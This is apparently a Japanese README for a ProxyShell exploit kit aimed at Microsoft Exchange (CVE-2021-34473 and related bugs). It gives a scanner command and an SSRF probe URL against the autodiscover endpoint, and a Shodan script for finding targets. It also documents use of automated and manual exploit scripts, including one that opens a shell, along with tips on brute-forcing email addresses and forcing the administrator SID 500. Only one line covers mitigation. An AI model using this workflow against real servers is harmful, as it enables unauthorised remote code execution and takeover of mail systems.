ProxyShell (CVE-2021-34473)

CVE-2021-34473 Microsoft Exchange Server リモートコード実行の脆弱性。この欠陥のあるURL正規化により、Exchange Serverマシンアカウントとして実行中に任意のバックエンドURLにアクセスできます。このバグはProxyLogonのSSRFほど強力ではなく、URLのパス部分のみを操作できますが、任意のバックエンドアクセスでさらなる攻撃を実行するには十分強力です。

CVE-2021-34523 - Exchange PowerShell バックエンドの特権昇格
CVE-2021-31207 - 認証後の任意ファイル書き込み

スキャナー

Pwn2Ownでorange tsaiによって発見された、Microsoft Exchange Serverに影響を与えるProxyshell RCE (CVE-2021-34423, CVE-2021-34473, CVE-2021-31207) 用のnucleiスキャナー。

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan ターゲット

sudo python3 shodan-query.py

使用方法

sudo python3 ProxyShell.py -u https://<IP>

機能

メールアドレスを指定する必要はありません
Active Directoryからメールアドレスを列挙しようとします
Active DirectoryからLegacyDNを列挙しようとします
ビルトインメールからLegacyDNを発見しようとします
ロードバランス環境でExchangeサーバーのSIDを発見しようとします
ロードバランス環境でのエクスプロイトに対応します

手動ペネトレーションテスト

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

ヒント:

有効なメールアドレスを見つけるためにターゲットを偵察する
メールが見つからない場合は、メールファイルを使ってターゲットをブルートフォースします。
一部のターゲットでは自動エクスプロイトが機能しないため、SIDをブルートフォースしてSID=500に置き換える必要があります。

緩和策

こちらのセキュリティ更新プログラムを適用してください：CVE-2021-34473

ProxyShell

人気